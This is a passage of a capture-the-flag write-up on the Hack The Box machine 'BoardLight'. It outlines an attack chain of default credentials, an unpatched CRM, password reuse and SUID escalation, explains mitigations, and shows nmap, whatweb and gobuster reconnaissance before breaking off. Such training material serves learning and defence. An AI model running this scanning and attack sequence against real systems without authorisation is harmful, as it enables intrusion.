<code>sudo</code>).</p></li></ul></li></ol><p></p></div></div>]]></content:encoded></item><item><title><![CDATA[BoardLight]]></title><description><![CDATA[Default credentials and reused passwords, unpatched vulnerabilities, and SUID Binaries.]]></description><link>https://www.emdeh.com/p/boardlight</link><guid isPermaLink="false">https://www.emdeh.com/p/boardlight</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Mon, 10 Jun 2024 00:55:04 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Q01R!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Q01R!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Q01R!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png 424w, https://substackcdn.com/image/fetch/$s_!Q01R!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png 848w, https://substackcdn.com/image/fetch/$s_!Q01R!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png 1272w, https://substackcdn.com/image/fetch/$s_!Q01R!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Q01R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png" width="1400" height="1138" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1138,&quot;width&quot;:1400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:507675,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Q01R!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png 424w, https://substackcdn.com/image/fetch/$s_!Q01R!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png 848w, https://substackcdn.com/image/fetch/$s_!Q01R!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png 1272w, https://substackcdn.com/image/fetch/$s_!Q01R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3389e2c8-36cc-4d43-9ecb-04aef88127c7_1400x1138.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Introduction</h1><p>BoardLight is rated as an easy difficulty. It begins with enumerating a web server running a site and a CRM ERP on a subdomain. Default credentials provide the initial path to compromise, with an unpatched vulnerability in the CRM leading to a reverse shell. Lateral movement is enabled with password reuse of a credential found in the initial config setup file. A SUID binary is then exploited to achieve local privilege escalation.</p><div><hr></div><h2>Contents</h2><ul><li><p><a href="https://www.emdeh.com/i/145407413/introduction">Introduction</a></p><ul><li><p><a href="https://www.emdeh.com/i/145407413/vulnerabilities-explored">Vulnerabilities explored</a></p><ul><li><p><a href="https://www.emdeh.com/i/145407413/default-credentials">Default credentials</a></p></li><li><p><a href="https://www.emdeh.com/i/145407413/unpatched-vulnerabilities">Unpatched vulnerabilities</a></p></li><li><p><a href="https://www.emdeh.com/i/145407413/password-reuse">Password reuse</a></p></li><li><p><a href="https://www.emdeh.com/i/145407413/local-privilege-escalation">Local Privilege Escalation (SUID Binary exploitation)</a></p></li></ul></li><li><p><a href="https://www.emdeh.com/i/145407413/tools">Tools</a></p></li><li><p><a href="https://www.emdeh.com/i/145407413/tactics-and-techniques">Tactics and Techniques</a></p></li></ul></li><li><p><a href="https://www.emdeh.com/i/145407413/enumeration">Enumeration</a></p></li><li><p><a href="https://www.emdeh.com/i/145407413/initial-access">Initial access</a></p></li><li><p><a href="https://www.emdeh.com/i/145407413/lateral-movement">Lateral movement</a></p></li><li><p><a href="https://www.emdeh.com/i/145407413/priviliege-escalation">Privilege escalation</a></p></li></ul><div><hr></div><h2>Vulnerabilities explored</h2><h3>Default credentials</h3><p>Default credentials are the pre-set username and password combinations assigned to devices and software by manufacturers. These credentials are often publicly documented to facilitate initial setup. If default credentials are not changed, threat actors can easily gain unauthorised access to systems and devices, leading to potential data breaches, system compromise, and exploitation of network resources. The obvious mitigation strategy here is to change default credentials during setup.</p><h3>Unpatched vulnerabilities</h3><p>Unpatched vulnerabilities are security flaws in software or hardware that have been identified but not resolved through software updates or patches. Threat actors can exploit these vulnerabilities to gain unauthorised access, steal data, disrupt services, or execute malicious code. A patch management policy coupled with vulnerability scanning can effectively mitigate against unpatched vulnerabilities.</p><h3>Password reuse</h3><p>As previously discussed, such as in <a href="https://www.emdeh.com/p/sniper?utm_source=publication-search">Sniper</a>, password reuse describes when an individual uses the same password across multiple accounts or systems. To prevent the risks associated with password reuse, each system or account should have its own unique password. Consider password managers to minimise the burden this would have. <a href="https://www.emdeh.com/p/the-mosaic-effect?utm_source=publication-search">The Mosaic Effect</a> describes the importance of this for all individuals.</p><h3>Local Privilege Escalation</h3><p>This type of vulnerability allows a local user to gain higher privileges on a system, typically escalating from a regular user to a superuser (root). </p><h3>Tools</h3><ul><li><p>Nmap, used for initial network scanning.</p></li><li><p>Whatweb to obtain useful web server information.</p></li><li><p>Gobuster is used to enumerate additional web pages.</p></li><li><p>Ffuf is used to enumerate subdomains.</p></li><li><p>Burpsuite is used to monitor and manipulate HTTP requests</p></li><li><p>Linpeas is used to enumerate Linux systems.</p><p></p></li></ul><h3>Tactics and Techniques</h3><h4>Enumeration</h4><ul><li><p>Nmap was used to enumerate the target to identify initial attack vectors, such as Port 80 and Port 22.</p></li><li><p>Gobuster and Ffuf were used to enumerate the target site, with Ffuf identifying the subdomain CRM.board. hub.</p></li></ul><h4>Initial access</h4><ul><li><p>Attempting default credentials on the CRM subdomain successfully led to initial access.</p></li><li><p>Exploiting a vulnerability in the unpatched version of the CRM led to obtaining a shell on the web server.</p></li></ul><h4>Lateral movement</h4><ul><li><p>A password was obtained from a script and re-used to move laterally onto another user&#8217;s account.</p></li></ul><h4>Privilege escalation</h4><ul><li><p>Exploiting a vulnerability in the SUID binary ultimately led to local privilege escalation.</p></li></ul><p>Here's a detailed breakdown of the nature and impact of the privilege escalation:</p><p><em><strong>Characteristics of the Vulnerability</strong></em></p><ol><li><p><strong>SUID Binary Exploitation:</strong></p><ul><li><p>The vulnerability involves a SUID (Set User ID) binary, <code>enlightenment_sys</code>, which is set to run with root privileges. </p></li><li><p>A SUID binary is an executable file in Unix-like operating systems that runs with the privileges of the file's owner rather than the user who is executing the file. This means if a file has the SUID bit set and is owned by the root user, anyone running this file will execute it with root privileges.</p></li></ul></li><li><p><strong>Path Traversal and Command Injection:</strong></p><ul><li><p>The vulnerability exploited in this case stems from improper handling of pathnames by the <code>enlightenment_sys</code> binary. Specifically, it mishandles pathnames starting with <code>/dev/..</code>. This allows attackers to use path traversal and command injection techniques to execute arbitrary commands with root privileges.</p></li></ul></li></ol><div><hr></div><h1>Enumeration</h1><h2>Network scanning</h2><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight/scans]
&#9492;&#9472;$ nmap -A 10.129.2.235 | tee nmap-scan.txt</code></pre><pre><code>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 07:15 EDT
Nmap scan report for 10.129.2.235
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.04 seconds</code></pre><h3>Findings</h3><ul><li><p>Port 22 for SSH</p></li><li><p>Port 80 running Apache 2.4.41</p></li></ul><p>A search of searchsploit doesn&#8217;t immediately reveal any quick wins.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kDrS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kDrS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png 424w, https://substackcdn.com/image/fetch/$s_!kDrS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png 848w, https://substackcdn.com/image/fetch/$s_!kDrS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png 1272w, https://substackcdn.com/image/fetch/$s_!kDrS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kDrS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png" width="1198" height="346" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:346,&quot;width&quot;:1198,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:130364,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kDrS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png 424w, https://substackcdn.com/image/fetch/$s_!kDrS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png 848w, https://substackcdn.com/image/fetch/$s_!kDrS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png 1272w, https://substackcdn.com/image/fetch/$s_!kDrS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b386164-385f-44c1-a8d7-bf274eba02bc_1198x346.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Port 80 enumeration</h2><p>Navigating to the target in a browser reveals a webpage for a cybersecurity firm.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gyjy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gyjy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png 424w, https://substackcdn.com/image/fetch/$s_!gyjy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png 848w, https://substackcdn.com/image/fetch/$s_!gyjy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png 1272w, https://substackcdn.com/image/fetch/$s_!gyjy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gyjy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png" width="847" height="617" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:617,&quot;width&quot;:847,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:249144,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gyjy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png 424w, https://substackcdn.com/image/fetch/$s_!gyjy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png 848w, https://substackcdn.com/image/fetch/$s_!gyjy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png 1272w, https://substackcdn.com/image/fetch/$s_!gyjy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffdd47bbf-5f28-46c6-8f2b-72bbd48d56d6_847x617.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Running whatweb is useful, so quick info is easily on hand.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight/scans]
&#9492;&#9472;$ whatweb 10.129.2.235 | tee whatweb-scan.txt

http://10.129.2.235 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.2.235], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]</code></pre><p>This also confirms a domain, which is added to the hosts file.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight]
&#9492;&#9472;$ echo "10.129.2.235 board.htb" | sudo tee -a /etc/hosts

[sudo] password for emdeh:

10.129.2.235 board.htb</code></pre><p>A simple web form exists at /contact.php. Testing the submission and observing the requests in Burpsuite does not immediately reveal any initial attack vectors.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5Mf6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5Mf6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png 424w, https://substackcdn.com/image/fetch/$s_!5Mf6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png 848w, https://substackcdn.com/image/fetch/$s_!5Mf6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png 1272w, https://substackcdn.com/image/fetch/$s_!5Mf6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5Mf6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png" width="967" height="713" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:713,&quot;width&quot;:967,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:80481,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5Mf6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png 424w, https://substackcdn.com/image/fetch/$s_!5Mf6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png 848w, https://substackcdn.com/image/fetch/$s_!5Mf6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png 1272w, https://substackcdn.com/image/fetch/$s_!5Mf6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a8d61ab-3fd7-41d7-ba26-df05f4cfe1b4_967x713.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>While further manual investigation is done on the site, Gobuster is set to enumerate pages.</p><pre><code><code>&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight/scans]
&#9492;&#9472;$ gobuster dir -u http://10.129.2.235 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 100 -e -o gobuster-scan.txt</code></code></pre><pre><code>Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.2.235
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://10.129.2.235/images               (Status: 301) [Size: 313] [--&gt; http://10.129.2.235/images/]
http://10.129.2.235/css                  (Status: 301) [Size: 310] [--&gt; http://10.129.2.235/css/]
http://10.129.2.235/js                   (Status: 301) [Size: 309] [--&gt; http://10.129.2.235/js/]
Progress: 141708 / 141709 (100.00%)
===============================================================
Finished
===============================================================
</code></pre><p>Enumerating for pages reveals nothing of interest.</p><p>Ffuf is then used for subdomain enumeration.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight/scans]
